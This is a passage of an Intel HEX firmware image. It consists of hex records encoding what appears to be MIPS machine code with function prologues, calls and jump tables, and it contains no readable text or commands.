018427cff00423035\n:10aa7c002118400004828227211862000000629095\n:10aa8c004408027c000062a01400c28f1400c38f23\n:10aa9c000000649001006390001a03002518640004\n:10aaac00ffff64303bff032424188300ffff633057\n:10aabc00ff006430000045900000a5302520a40064\n:10aacc00000044a0021a0300ffff63300100449011\n:10aadc000000843025188300010043a01400c28fad\n:10aaec00050004242128400004000624dd64400fe6\n:10aafc0000000000d7aa400b000000001400c28f19\n:10ab0c001400c38f0000649001006390001a0300ce\n:10ab1c0025186400ffff64303bff032424188300d6\n:10ab2c00ffff6330ff006430000045900000a5304b\n:10ab3c002520a400000044a0021a0300ffff63308c\n:10ab4c00010044900000843025188300010043a0cc\n:10ab5c0088bf023c005342241000c2afcc81828fcc\n:10ab6c000018427cff004230001102001000c38f1d\n:10ab7c00211062001000c2af1000c28f0000438c85\n:10ab8c00fdff0224241862001000c28f000043aca9\n:10ab9c0021e8c0032400bf8f2000be8f2800bd27f2\n:10abac000800e0030000000038ffbd27c400bfaf61\n:10abbc00c000b1afbc00b0af2188800004000224fb\n:10abcc001000a2af00a0103cdc5610269c00028e98\n:10abdc001400a2afec00028e1800a2aff000028e9f\n:10abec001c00a2afe400028e2000a2afe800028e8f\n:10abfc002400a2afe000028e2800a2aff400028e67\n:10ac0c002c00a2af059d043cb8c684240500052485\n:10ac1c0001000624023c410f01000724cc0000aec9\n:10ac2c009c00048ea400058eb000078e00a0033c8f\n:10ac3c00995763241000a3afbc0003921400a3af78\n:10ac4c008c00038e1800a3af010003241c00a3afdb\n:10ac5c002000a0af422805003000a6278dff400f32\n:10ac6c0080380700b000038e801803001b004314cb\n:10ac7c00010003243000a42721288000e7b2400ff4\n:10ac8c008400062415004010010003243000a49316\n:10ac9c001500831421100000212020023100a5276b\n:10acac0047b9400f2000062401000324cc0003ae5a\n:10acbc00f800038e9c00028e02186270eb51023c6d\n:10accc001f8542341900620010200000240e410f31\n:10acdc00422104003dab400b0100022400a0023cc9\n:10acec00a85743ac21100000c400bf8fc000b18f27\n:10acfc00bc00b08f0800e003c800bd27e8ffbd27eb\n:10ad0c001400bfaf574a410f00000000010002249d\n:10ad1c001400bf8f0800e0031800bd2790ffbd276b\n:10ad2c006c00bfaf6800b0af218080003030023cb7\n:10ad3c00303042241800a2af300002241c00a2a71d\n:10ad4c002ab9400f1d00a427140040102118000040\n:10ad5c00210002241000a2af1400a0af4000a427d1\n:10ad6c001800a52721300000faab400f2138000055\n:10ad7c000a004010211800004000a4930100022496\n:10ad8c000700821421106000212000024100a52739\n:10ad9c0047b9400f20000624010003242110600055\n:10adac006c00bf8f6800b08f0800e0037000bd27f7\n:10adbc00b0ffbd274c00bfaf4800b1af4400b0afef\n:10adcc00ff00b0304000022e25004010211800007a\n:10addc0021888000edaa400f1800a4272000401005\n:10adec00211800001800a4274aab400f212880002e\n:10adfc003030023c313142241800a2af1c00a0a319\n:10ae0c001c00a42721280002c6b6400f0800062407\n:10ae1c002400a0a3210002241000a2af1400a0afb4\n:10ae2c001800a4272128800021300000faab400f25\n:10ae3c00213800000a004010211800001800a493cb\n:10ae4c00010002240700821421106000212020023e\n:10ae5c001900a52747b9400f200006240100032440\n:10ae6c00211060004c00bf8f4800b18f4400b08fa0\n:10ae7c000800e0035000bd2798ffbd276400bfaf5a\n:10ae8c006000b1af5c00b0afff0090304000022e0c\n:10ae9c004c004010211800002188a000edaa400fa2\n:10aeac003000a42747004010211800003000a427d0\n:10aebc004aab400f212880003000a4272ab9400f4c\n:10aecc0021282002200004243e00441421180000f4\n:10aedc003030023c313042241800a2af1c00a427b1\n:10aeec0021280002c6b6400f080006242400a0a3a7\n:10aefc001000a0af010002241400a2af5400a4273c\n:10af0c001800a52721300000faab400f21380000b3\n:10af1c002c0040102118000000a0023cdc564224fa\n:10af2c009c00438cf800428c02186270eb51023c7e\n:10af3c001f8542341900620010200000240e410fbe\n:10af4c00422104001000a0af010002241400a2afa3\n:10af5c005400a4273000a52721300000faab400f85\n:10af6c0021380000170040102118000000a0023cfe\n:10af7c00dc564224f800438cd60263249c00428c9d\n:10af8c0002186270eb51023c1f85423419006200ba\n:10af9c0010200000240e410f422104003000a42791\n:10afac006fab400f21280002060040102118000052\n:10afbc003000a427212820020954410f0800062440\n:10afcc000100432c211060006400bf8f6000b18f22\n:10afdc005c00b08f0800e0036800bd2778ffbd2738\n:10afec008400bfaf8000b5af7c00b4af7800b3afc6\n:10affc007400b2af7000b1af6c00b0af219880009c\n:10b00c002190c00021a0e0009800b193ffff022422\n:10b01c003000a2a35bba400f3400a427ff005530c8\n:10b02c00ff0050303000a4273400a5277fac400f20\n:10b03c00213000023400a227212050003000a593bb\n:10b04c0030b6400f0800062400a0023cdc56422417\n:10b05c00e000438c0800a526040004241000a4afd3\n:10b06c009c00448c1400a4af1800a3aff000448cd7\n:10b07c001c00a4afe400448c2000a4afe800448c76\n:10b08c002400a4af2800a3aff400428c2c00a2af84\n:10b09c003400a427ff00a53021304002023c410fb0\n:10b0ac000100072448004010211800009c00a28fca\n:10b0bc001d00401001000224408282a300a0023c2b\n:10b0cc00dc5642249c00448ca400458c00a0033c1c\n:10b0dc00995763241000a3afbc0043901400a3af96\n:10b0ec008c00428c1800a2af010002241c00a2affd\n:10b0fc002000a0af3400a6278dff400f03000724cb\n:10b10c000300042430004414211800003400a42748\n:10b11c00059d053c7cc6a5240954410f030006245b\n:10b12c0029004014211800002700201201000324dc\n:10b13c0001000224408282a300a0023cdc5642247f\n:10b14c009c00448ca400458c2180200203008012ba\n:10b15c002110000000a0023c9857429000a0033c34\n:10b16c00995763241000a3af1400a2af00a0023cb7\n:10b17c006857428c1800a2af010002241c00a2af39\n:10b18c002000a0af213060028dff400f213820023b\n:10b19c000d0002162118000000a0023cdc564224cf\n:10b1ac00f800448c9c00428c02208270eb51023cd3\n:10b1bc001f8542341900820010200000240e410f1c\n:10b1cc004221040001000324211060008400bf8f81\n:10b1dc008000b58f7c00b48f7800b38f7400b28f71\n:10b1ec007000b18f6c00b08f0800e0038800bd27a1\n:10b1fc00d8ffbd272400bfaf2000b4af1c00b3aff5\n:10b20c001800b2af1400b1afff00d13021002012f2\n:10b21c001000b0af219080002198a0002180000088\n:10b22c0023103002080042280f0040102120700229\n:10b23c0023a03002ff00943211b6400f2128800267\n:10b24c00ff004230232811020800a5240428a20084\n:10b25c0021204002ff00a530b0ac400f213080020d\n:10b26c00a4ac400b0800102611b6400f08000524b2\n:10b27c0021204002ff004530b0ac400f08000624ee\n:10b28c0008001026ff0010322b101102e5ff4014ad\n:10b29c00231030022400bf8f2000b48f1c00b38f0a\n:10b2ac001800b28f1400b18f1000b08f0800e003ab\n:10b2bc002800bd27ff00c630000082902628a2007f\n:10b2cc00000085a0bdac400bff000524201c027cb7\n:10b2dc0004006104401002001d004238bdac400b5c\n:10b2ec00000082a0000082a0ffffc624ff00c63031\n:10b2fc00f6ffc554000082900800e0030000000037\n:10b30c0070ffbd278c00bfaf8800b7af8400b6af0d\n:10b31c008000b5af7c00b4af7800b3af7400b2afaf\n:10b32c007000b1af6c00b0afd600c0102190c0005f\n:10b33c0021a0800021a8a0002198000021800000fd\n:10b34c00059d023c74c742246000a2af039d163ccd\n:10b35c00ccb3d626059d173c802810002110a502e1\n:10b36c001000a2af0a0002241400a2af5000022465\n:10b37c001800a2af231050021c00a2af2000a4277b\n:10b38c00212885020a000624d216410f0001072449\n:10b39c00bd004010218840007b4b410f2000a427aa\n:10b3ac00fcff42242a00432cad00601080100200e8\n:10b3bc002110c2020000428c080040000000000076\n:10b3cc0074b4029dbcb4029d6cb6029d6cb6029d19\n:10b3dc006cb6029d6cb6029d6cb6029d6cb6029d5d\n:10b3ec006cb6029d6cb6029d6cb6029d6cb6029d4d\n:10b3fc006cb6029d6cb6029d6cb6029d6cb6029d3d\n:10b40c0004b5029d6cb6029d6cb6029d6cb6029d95\n:10b41c006cb6029d6cb6029d6cb6029d6cb6029d1c\n:10b42c006cb6029d6cb6029d6cb6029d6cb6029d0c\n:10b43c006cb6029d6cb6029d6cb6029d6cb6029dfc\n:10b44c006cb6029d6cb6029d6cb6029d6cb6029dec\n:10b45c00b0b5029d6cb6029d6cb6029d6cb6029d99\n:10b46c006cb6029df8b5029d2000a427059d053cf5\n:10b47c00c0c6a5240954410f04000624070040143b\n:10b48c00059d043c059d043cc8c684240413410f4f\n:10b49c002000a5279fad400b21801102d4c6842427\n:10b4ac000413410f2000a5279fad400b21801102f2\n:10b4bc002000a427059d053cb8c6a5240954410fbe\n:10b4cc000500062407004014059d043c059d043c22\n:10b4dc00e4c684240413410f2000a5279fad400b24\n:10b4ec0021801102d4c684240413410f2000a52707\n:10b4fc009fad400b218011022000a427059d053c27\n:10b50c00f4c6a5240954410f040006240700401476\n:10b51c002000a427059d043cfcc684240413410f81\n:10b52c002000a5275fad400b3400a0a3059d053c72\n:10b53c0018c7a5240954410f040006240700401421\n:10b54c00059d043c059d043c20c784240413410f35\n:10b55c002000a5275fad400b3400a0a3d4c68424e3\n:10b56c000413410f2000a5279fad400b2180110231\n:10b57c005000a427adb9400f2400a527059d043c1d\n:10b58c003cc784240413410f5000a527059d043c9f\n:10b59c0044c784240413410f5200a5279fad400bd0\n:10b5ac0021801102059d043c48c784240413410fdb\n:10b5bc002000a5274800a0a35000a427adb9400f38\n:10b5cc002000a527059d043c54c784240413410f77\n:10b5dc005000a527059d043c44c784240413410f47\n:10b5ec005800a5279fad400b218011022000a427f5\n:10b5fc005cc7e5260954410f0500062413004014ce\n:10b60c00059d043c059d043c64c784240413410f30\n:10b61c002000a5274d00a0a35000a427adb9400fd2\n:10b62c002500a527059d043c54c784240413410f11\n:10b63c005000a527059d043c44c784240413410fe6\n:10b64c005800a5279fad400b21801102d4c684243d\n:10b65c000413410f2000a5279fad400b2180110240\n:10b66c006000a48f0413410f2000a5272180110234\n:10b67c002b1012020400401001001324daac400b12\n:10b68c008028100021980000059d043c44c78424a8\n:10b69c00059d053c0413410f84c7a52421106002ad\n:10b6ac008c00bf8f8800b78f8400b68f8000b58f59\n:10b6bc007c00b48f7800b38f7400b28f7000b18fa0\n:10b6cc006c00b08f0800e0039000bd2798ffbd27e9\n:10b6dc006400bfaf6000b1af5c00b0af21888000e8\n:10b6ec00088180af040002241000a2af00a0023c2d\n:10b6fc00dc5642249c00438c1400a3afec00438c1a\n:10b70c001800a3aff000438c1c00a3afe400438ce3\n:10b71c002000a3afe800438c2400a3afe000438ccf\n:10b72c002800a3aff400428c2c00a2af059d043c72\n:10b73c0088c784240500052401000624023c410f1f\n:10b74c0001000724230040102118000001000224ee\n:10b75c00408282a300a0103cdc5610269c00048e74\n:10b76c00a400058eb000078e00a0023c995742241d\n:10b77c001000a2afbc0002921400a2af8c00028e8b\n:10b78c001800a2af010002241c00a2af2000a0af41\n:10b79c008dff400f3000a627b000048e0d0044141e\n:10b7ac00211800003000a427059d053c74c6a52473\n:10b7bc000954410f0500062406004014211800000e\n:10b7cc00212020023500a52747b9400f2000062470\n:10b7dc0001000324211060006400bf8f6000b18f52\n:10b7ec005c00b08f0800e0036800bd27e8ffbd27b0\n:10b7fc001400bfaf574a410f0000000001000224a3\n:10b80c001400bf8f0800e0031800bd2798ffbd2768\n:10b81c006400bfaf6000b1af5c00b0af21888000a6\n:10b82c002180a000b6ad400f3000a4274600401088\n:10b83c002118000000000282030040143000a427ed\n:10b84c00059d103c90c710262ab9400f21280002f4\n:10b85c003d004010211800007b4b410f3000a42705\n:10b86c00030003241000a3af00a0033cdc566324a8\n:10b87c009c00648c1400a4af1800a0aff800648c7a\n:10b88c001c00a4afe400648c2000a4afe800648c1e\n:10b89c002400a4afe000648c2800a4aff400638cf7\n:10b8ac002c00a3af3000a427212840002130000039\n:10b8bc00023c410f01000724230040102118000016\n:10b8cc0001000224408282a300a0023cdc564224e8\n:10b8dc009c00448ca400458c00a0033c9957632425\n:10b8ec001000a3afbc0043901400a3af8c00428c9b\n:10b8fc001800a2af010002241c00a2af2000a0afd0\n:10b90c003000a6278dff400f2500072425000424b6\n:10b91c000d004414211800003000a427059d053c9f\n:10b92c0074c6a5240954410f0500062406004014d2\n:10b93c0021180000212020023500a52747b9400f0f\n:10b94c002000062401000324211060006400bf8f36\n:10b95c006000b18f5c00b08f0800e0036800bd2769\n:10b96c0020ffbd27dc00bfafd800beafd400b7afff\n:10b97c00d000b6afcc00b5afc800b4afc400b3af05\n:10b98c00c000b2afbc00b1afb800b0af219880001e\n:10b99c000000a280030040142180a000059d103cf3\n:10b9ac009cc71026b6ad400f3000a42747024010ac\n:10b9bc0021180000a8b7400f3000a42721884000b0\n:10b9cc0005b8400f21200002219040007754410f10\n:10b9dc00218060007754410f00a402003000a4279e\n:10b9ec0021288202ddb6400f200006247400a42713\n:10b9fc00adb9400f3000a527a8b7400f7400a4279d\n:10ba0c00001e1000023a1200253867000272100066\n:10ba1c00001c1000027c120025786f00026c1000d4\n:10ba2c0000221000021e120025188300026610006e\n:10ba3c00025a110002541100022e110002220200bf\n:10ba4c00024c0200024602004231120042a11000d8\n:10ba5c008c00b4af0200c630c001557e21a8d500c1\n:10ba6c00c2c81200c2b010009000b6af0400393347\n:10ba7c0021c8b90242c0120042f810009400bfafb6\n:10ba8c000800183321c038032ba8a602403012003e\n:10ba9c001000c630213006032bc0d80021a8150396\n:10baac0042c71200c0c812002000393321c8d90087\n:10babc002b30260321a8d500c236120040f9120003\n:10bacc004000ff3321f83f032bc8f90321a83503ad\n:10badc0042a612008000b4afc0c91200ff00393377\n:10baec0021c8f9032bf83f0321a8f50342fb1200f0\n:10bafc0042b310009800b6af0200ff33c003547e6f\n:10bb0c0021a0f403c2ba1200c2b210009c00b6af5e\n:10bb1c000400f73221b8970242b2120042f2100030\n:10bb2c00a000beaf0800d63221b0f6022bf89f025f\n:10bb3c0040a007001000943221a0d4022bb0960232\n:10bb4c0021b0df02c0b807002000f73221b89702fd\n:10bb5c002ba0f40221a0960240b107004000d6327f\n:10bb6c0021b0f6022bb8d70221b8f402c039070075\n:10bb7c00ff00e7302138c7022bb0f60021b8d702fe\n:10bb8c0002fe070000ba170025b8f703003a0700b9\n:10bb9c00213827032bc8f90021a8b70221a83503a7\n:10bbac008400b5af42cd120042fd1000a400bfaf1f\n:10bbbc0002003933c0055f7e21f83f03c2ac12008e\n:10bbcc00c2a41000a800b4af0400b53221a8f5033c\n:10bbdc0042a4120042b41000ac00b6af080094327c\n:10bbec0021a0b4022bc8f90340b00f001000d632cc\n:10bbfc0021b096022ba0d40221a09902c0b80f004c\n:10bc0c002000f73221b8d7022bb0f60221a0d402c3\n:10bc1c0040b10f004000d63221b0f6022bb8d7024b\n:10bc2c0021b8f402c0790f00ff00ef312178cf0268\n:10bc3c002ba8f60121a8b702c0c810008800b9af24\n:10bc4c0042ff1000b000bfaf0200183340a010003c\n:10bc5c00c2b71000b400b6afc29712002190120305\n:10bc6c002bc0580240b11000c2fe10000400c630b8\n:10bc7c00213046022bb8d20021b8f802c091100036\n:10bc8c0042ce10008000be8f0800d83321c0d800ef\n:10bc9c002b30060321b8d700403003001000c6300b\n:10bcac00213006032bc0d80021b81703c0c00300f5\n:10bcbc002000183321c0d8002b30060321b8d70040\n:10bccc00403103004000c630213006032bc0d800a1\n:10bcdc0021c01703c0190300ff0063302118c300f3\n:10bcec002b30660021c0d80002be030000c2180031\n:10bcfc0025c0f802001a03002118e3012b786f000d\n:10bd0c0021c0b8022178f80102340300007c0f0036\n:10bd1c002578cf00001c03002130e3002b38c7002e\n:10bd2c008400a38f21786f002178ef008c00b88fee\n:10bd3c0002000733c001037e2138e3009000b88f66\n:10bd4c00040003332138e3009400b88f0800033358\n:10bd5c002118e30010009432211874008800a78f7a\n:10bd6c002000f430211874004000d63221187600df\n:10bd7c00ff005232211872009800b28f0200583224\n:10bd8c00c003077e213807039c00b48f040098324f\n:10bd9c002138f800a000b68f0800d8322138f800fe\n:10bdac0040900e00100052322138f200c0900e006c\n:10bdbc00200052322138f20040910e0040005232e5\n:10bdcc002138f200c0710e00ff00ce312138ee0098\n:10bddc00003a070021186700a400b88f020007334f\n:10bdec00c005107e2138f000a800b28f04004e323e\n:10bdfc002138ee00ac00b48f08008e322138ee00f2\n:10be0c0040700d001000ce312138ee00c0700d00d6\n:10be1c002000ce312138ee0040710d004000ce31b3\n:10be2c002138ee00c0690d00ff00ad312138ed0066\n:10be3c00b000b68f0200cd320400ff332168bf0181\n:10be4c00b400b88f2168b801080039332168b901f2\n:10be5c0040700c001000ce312168ae01c0700c0097\n:10be6c002000ce312168ae0140710c004000ce3173\n:10be7c002168ae01c0610c00ff008c312160ac0167\n:10be8c0000620c002138ec00003c070021386700f0\n:10be9c004219110002006330c0012c7e21186c0085\n:10beac00c260110004008c3121186c00426011003a\n:10bebc0008008c3121186c004060110010008c318e\n:10becc0021186c00c060110020008c3121186c000e\n:10bedc004061110040008c3121186c00c0611100d0\n:10beec00ff008c3121186c004263110002008c3170\n:10befc00c0032d7e21608d01c26a11000400ad319a\n:10bf0c0021608d01426a11000800ad3121608d0164\n:10bf1c0040680b001000ad3121608d01c0680b0032\n:10bf2c002000ad3121608d0140690b004000ad3126\n:10bf3c0021608d01c0590b00ff006b3121588b0122\n:10bf4c00005a0b0021186b00425d110002006b318e\n:10bf5c00c0052c7e21586c01c264110004008c3188\n:10bf6c0021586c014264110008008c3121586c017d\n:10bf7c0040600a0010008c3121586c01c0600a002e\n:10bf8c0020008c3121586c0140610a0040008c313a\n:10bf9c0021586c01c0510a00ff004a3121506a013e\n:10bfac004267110002008c31c25e110004006b313b\n:10bfbc0021588b01c267110021586c01428e11006f\n:10bfcc0008003132215871014060050010008c319d\n:10bfdc0021586c01c060050020008c3121586c0187\n:10bfec004061050040008c3121586c01c0290500ce\n:10bffc00ff00a53021586501005a0b0021284b0188\n:10c00c00002c0500211865001000a3af4229020086\n:10c01c000200a530c001437c2128a300c2180200f5\n:10c02c00040063302128a30042180200080063308a\n:10c03c002128a30040180200100063302128a3001f\n:10c04c00c0180200200063302128a3004019020010\n:10c05c00400063302128a300c0190200ff006330a8\n:10c06c002128a300421b020002006330c0034a7c5b\n:10c07c0021186a00c252020004004a3121186a00d9\n:10c08c004252020008004a3121186a004050040054\n:10c09c0010004a3121186a00c050040020004a31b7\n:10c0ac0021186a004051040040004a3121186a00ee\n:10c0bc00c0210400ff00843021186400001a030022\n:10c0cc002120a300421d020002006330c005457c04\n:10c0dc0021186500c22c02000400a530211865004f\n:10c0ec00422c02000800a5302118650040280900e8\n:10c0fc001000a53021186500c02809002000a530cb\n:10c10c0021186500402909004000a5302118650060\n:10c11c00c0490900ff00293121186900424f020073\n:10c12c0002002931c22e02000400a530212825016d\n:10c13c00c24f02002128a90042160200080042301a\n:10c14c002110a200402808001000a5302110450045\n:10c15c00c02808002000a530211045004029080007\n:10c16c004000a53021104500c0410800ff000831f7\n:10c17c00214048000042080021186800001c030000\n:10c18c00211083001400a2af00a0043ce0698424b9\n:10c19c00ba01410f2138e701ffff0424dab2400f46\n:10c1ac00200005245000a42721284000ddb6400fb4\n:10c1bc002000062400a0043cb6ad400f5c4584244e\n:10c1cc0042004010211800007b4b410f3000a42787\n:10c1dc00030003241000a3af00a0033cdc5663242f\n:10c1ec009c00648c1400a4af1800a0aff800648c01\n:10c1fc001c00a4afe400648c2000a4afe800648ca5\n:10c20c002400a4afe000648c2800a4aff400638c7d\n:10c21c002c00a3af3000a4272128400021300000bf\n:10c22c00023c410f01000724280040102118000097\n:10c23c0001000224408282a300a0023cdc5642246e\n:10c24c009c00448ca400458c00a0033c99576324ab\n:10c25c001000a3afbc0043901400a3af8c00428c21\n:10c26c001800a2af010002241c00a2af2000a0af56\n:10c27c003000a6278dff400f25000724250004243d\n:10c28c0012004414211800003000a427059d053c21\n:10c29c0074c6a5240954410f050006240b00401454\n:10c2ac002118000001000224088182af21206002c5\n:10c2bc003500a52747b9400f200006242120600235\n:10c2cc006cb2400f21286002211840002110600040\n:10c2dc00dc00bf8fd800be8fd400b78fd000b68fd4\n:10c2ec00cc00b58fc800b48fc400b38fc000b28f20\n:10c2fc00bc00b18fb800b08f0800e003e000bd2790\n:10c30c00ff00a5300800a22c5a0040102118000094\n:10c31c00a0ffbd275c00bfaf5800b0af21808000ec\n:10c32c00313102243000a2a73200a427c6b6400f38\n:10c33c00030006243500a427ccba400f3000a527f3\n:10c34c003a00a0a30881828f030040103000a4277c\n:10c35c009fb2400f212880007b4b410f3000a42757\n:10c36c00030003241000a3af00a0033cdc5663249d\n:10c37c009c00648c1400a4af1800a0aff800648c6f\n:10c38c001c00a4afe400648c2000a4afe800648c13\n:10c39c002400a4afe000648c2800a4aff400638cec\n:10c3ac002c00a3af3000a42721284000213000002e\n:10c3bc00023c410f01000724290040102118000005\n:10c3cc0001000224408282a300a0023cdc564224dd\n:10c3dc009c00448ca400458c00a0033c995763241a\n:10c3ec001000a3afbc0043901400a3af8c00428c90\n:10c3fc001800a2af010002241c00a2af2000a0afc5\n:10c40c003000a6278dff400f2500072425000424ab\n:10c41c0013004414211800003000a427059d053c8e\n:10c42c0074c6a5240954410f050006240c004014c1\n:10c43c0021180000212000023500a52747b9400f24\n:10c44c00200006240881828f05004010010003247f\n:10c45c00212000026cb2400f21280002211840005c\n:10c46c00211060005c00bf8f5800b08f0800e00303\n:10c47c006000bd270800e0032110600038ffbd27d5\n:10c48c00c400bfafc000b1afbc00b0afff00903074\n:10c49c000800022e9d004010211800002188a000e9\n:10c4ac00313002243000a2a73200a4272128000238\n:10c4bc00c6b6400f030006243500a427ccba400fa3\n:10c4cc003000a5273a00a0a30881828f06004010f7\n:10c4dc003000a28f3c00a4279fb2400f3000a5274c\n:10c4ec0045b1400b6400a4273c00a2af3400a28fde\n:10c4fc004000a2af3800a2974400a2a73a00a29332\n:10c50c004600a2a36400a4272ab9400f21282002c8\n:10c51c00200004247d004414211800007b4b410fa3\n:10c52c003c00a427030003241000a3af00a0033c8d\n:10c53c00dc5663249c00648c1400a4af1800a0afdc\n:10c54c00f800648c1c00a4afe400648c2000a4af41\n:10c55c00e800648c2400a4afe000648c2800a4af35\n:10c56c00f400638c2c00a3af3c00a42721284000ce\n:10c57c0021300000023c410f0100072463004010f1\n:10c58c002118000001000224408282a300a0023c7a\n:10c59c00dc5642249c00448ca400458c00a0033c37\n:10c5ac00995763241000a3afbc0043901400a3afb1\n:10c5bc008c00428c1800a2af010002241c00a2af18\n:10c5cc002000a0af8c00a6278dff400f0f00072482\n:10c5dc000f000324190043140881828f8c00a427b8\n:10c5ec00059d053c74c6a5240954410f050006247d\n:10c5fc0046004014211800000881828f050040106d\n:10c60c009100a42721288000c3b2400f0a00062401\n:10c61c009100a427212880008eba400f0a0006241e\n:10c62c003000a4279100a5270954410f0a000624c5\n:10c63c0036004014211800000881828f030040103e\n:10c64c006400a4279fb2400f212880007b4b410f30\n:10c65c006400a427030003241000a3af00a0033c34\n:10c66c00dc5663249c00648c1400a4af1800a0afab\n:10c67c00f800648c1c00a4afe400648c2000a4af10\n:10c68c00e800648c2400a4afe000648c2800a4af04\n:10c69c00f400638c2c00a3af6400a4272128400075\n:10c6ac0021300000023c410f01000724170040100c\n:10c6bc002118000000a0023cdc564224f800438cf8\n:10c6cc00660263249c00428c02186270eb51023c9f\n:10c6dc001f8542341900620010200000240e410f07\n:10c6ec00422104003c00a427c3b0400f21280002c3\n:10c6fc0006004010211800003c00a427212820022d\n:10c70c000954410f080006240100432c211060003d\n:10c71c00c400bf8fc000b18fbc00b08f0800e00315\n:10c72c00c800bd27b8ffbd274400bfaf4000b7af5e\n:10c73c003c00b6af3800b5af3400b4af3000b3af87\n:10c74c002c00b2af2800b1af2400b0af4800a4afaa\n:10c75c004c00a5af5000a6af5400a7af2003162481\n:10c76c00059d023cacc742241400a2af059d023cbf\n:10c77c00b4c742245bb2400b1800a2af00a0023c2d\n:10c78c00dc5642249c0056ace00057ace40055ac9f\n:10c79c00e80052ac1400a48f6913410f2128e00269\n:10c7ac001800a48f6913410f2128a002059d043c99\n:10c7bc00c0c784246913410f21284002059d043c05\n:10c7cc00c8c784246913410f2128c0020500102416\n:10c7dc001000a0af21a00000219800002b15410fe4\n:10c7ec0000000000650040144400bf8fb6ad400f40\n:10c7fc002120200218004050ffff10260100732654\n:10c80c00ff0073322120200206ae400f6000a58f7e\n:10c81c000700405401009426212020025bae400ffb\n:10c82c006000a58f0c004050ffff102601009426dd\n:10c83c00ff00943221202002c3b0400f21280000b9\n:10c84c0005004010ffff10261000a38f010062248a\n:10c85c00ff0042301000a2afff001032dfff0016c5\n:10c86c00050002241700625601005226150082565c\n:10c87c00010052261000a48f12008254010052268f\n:10c88c00059d043cd0c784246913410f0500052481\n:10c89c00059d043cdcc784246913410f0500052465\n:10c8ac00059d043ce8c784246913410f0500052449\n:10c8bc00059d043cf4c784246913410f050005242d\n:10c8cc00010052265c00a38f2b107200acff4010ad\n:10c8dc0000a0023c0100b5265400a48f2b1095003b\n:10c8ec000b0040540100f7265800a38f5c00a48f66\n:10c8fc002b108300f8ff40540100b52621906000f6\n:10c90c0000a0113ce2b1400bdc2431260100f726db\n:10c91c004c00a38f2b10770009004014059d043c9c\n:10c92c005000a48f5400a38f2b106400f7ff401409\n:10c93c0021a880003eb2400b5800a38f059d043cfb\n:10c94c0044c78424059d053c0413410f84c7a524ca\n:10c95c000100d6262a0302240800c2124400bf8f0d\n:10c96c004800a48f4c00a38f2b106400f3ff4014dd\n:10c97c0021b880004cb2400b5000a48f4000b78f00\n:10c98c003c00b68f3800b58f3400b48f3000b38fb5\n:10c99c002c00b28f2800b18f2400b08f0800e00368\n:10c9ac004800bd27d0ffbd272c00bfaf2800b4af77\n:10c9bc002400b3af2000b2af1c00b1af1800b0af71\n:10c9cc00218080002188a0007b4b410f2120a000fa\n:10c9dc001c00401021904000059d133c14c8732688\n:10c9ec00059d143c18c894262120200221286002a1\n:10c9fc000357410f1000a627010003241300431412\n:10ca0c001000a493dab2400f080005241400a427e8\n:10ca1c0021288002e455410f213040001400a293dc\n:10ca2c00000002a21500a293010002a2020031260e\n:10ca3c00feff5226ecff40160200102697b2400b68\n:10ca4c000100022497b2400b0100022421100000c7\n:10ca5c002c00bf8f2800b48f2400b38f2000b28f1e\n:10ca6c001c00b18f1800b08f0800e0033000bd2708\n:10ca7c00d8ffbd272400bfaf2000b4af1c00b3af5c\n:10ca8c001800b2af1400b1af1000b0af2198800005\n:10ca9c002180a0007b4b410f2120a0000f004010f3\n:10caac0021a0400021884000219060020100102646\n:10cabc0001005226ffff0392d0ff6424ff00843054\n:10cacc00dab2400f0100052430004224ffff31266a\n:10cadc00f6ff2016ffff42a221987402000060a20c\n:10caec002400bf8f2000b48f1c00b38f1800b28fae\n:10cafc001400b18f1000b08f0800e0032800bd2790\n:10cb0c00e0ffbd271c00bfaf1800b2af1400b1afdf\n:10cb1c001000b0af218880002190a0000900c01047\n:10cb2c002180c0000100312601005226ffff4492f3\n:10cb3c00dab2400f01000524ffff1026f9ff0016a2\n:10cb4c00ffff22a21c00bf8f1800b28f1400b18f00\n:10cb5c001000b08f0800e0032000bd27e8ffbd27c0\n:10cb6c001400bfaf1000b0af2180800000a0043cc7\n:10cb7c00e06984241003410fff00a53026105000fb\n:10cb8c001400bf8f1000b08f0800e0031800bd2701\n:10cb9c00c8ffbd273400bfaf3000b5af2c00b4af19\n:10cbac002800b3af2400b2af2000b1af1c00b0af6f\n:10cbbc002198c000059d023c20c8432403006388d3\n:10cbcc0020c843981000a3af059d023c24c8432401\n:10cbdc000300638824c843981800c0101400a3af46\n:10cbec002188800021a0a0002180000001001524d4\n:10cbfc0021909002212040021400a5270954410fd6\n:10cc0c000400062403004014212040020eb3400b04\n:10cc1c00000035a21000a5270954410f040006247a\n:10cc2c000700401421100000000020a20400102670\n:10cc3c002b181302eeff6014010031268210130032\n:10cc4c003400bf8f3000b58f2c00b48f2800b38f09\n:10cc5c002400b28f2000b18f1c00b08f0800e003bd\n:10cc6c003800bd27ff00a530f8ffa524ff00a23037\n:10cc7c000800422c2e004010ff00a5308028050033\n:10cc8c00039d023ca4cc4224212845000000a28c28\n:10cc9c00080040000000000014cd029deccc029d69\n:10ccac00eccc029d3ccd029d3ccd029d3ccd029d29\n:10ccbc00eccc029dc4cc029d059d023c28c8438c43\n:10cccc0028c842240400428c030083a8000083b8c7\n:10ccdc00070082a8040082b80800e00301000224c7\n:10ccec00059d023c34c8438c34c842240400428c59\n:10ccfc00030083a8000083b8070082a8040082b850\n:10cd0c000800e00301000224059d023c40c8438c4e\n:10cd1c0040c842240400428c030083a8000083b85e\n:10cd2c00070082a8040082b80800e0030100022476\n:10cd3c000800e0032110000048ffbd27b400bfaf7e\n:10cd4c00b000b7afac00b6afa800b5afa400b4af9d\n:10cd5c00a000b3af9c00b2af9800b1af9400b0afdd\n:10cd6c00c500c0102190c00021a0800021a8a00007\n:10cd7c0021b0000021b800002198000021800000a3\n:10cd8c00059d023c74c842248800a2af059d023c5c\n:10cd9c0078c842248c00a2af802810002110a50274\n:10cdac001000a2af0a0002241400a2af500002240b\n:10cdbc001800a2af231050021c00a2af2000a42721\n:10cdcc00212885020a000624d216410f00010724ef\n:10cddc00aa004010218840007b4b410f2000a42763\n:10cdec000a000324210043100b00432c06006010a2\n:10cdfc002000032405000324090043502000a4272d\n:10ce0c0018b4400b059d043c54004310400003240f\n:10ce1c0066004310d680829318b4400b059d043ce9\n:10ce2c00059d053c88c7a5240954410f050006241f\n:10ce3c0008004014059d043c059d043c4cc884240a\n:10ce4c000413410f2000a527010016241bb4400b2e\n:10ce5c0021b80000d4c684240413410f2000a52758\n:10ce6c0021b000001bb4400b21b800000700e012f9\n:10ce7c002000a427059d043c60c884240413410fa2\n:10ce8c002000a5271b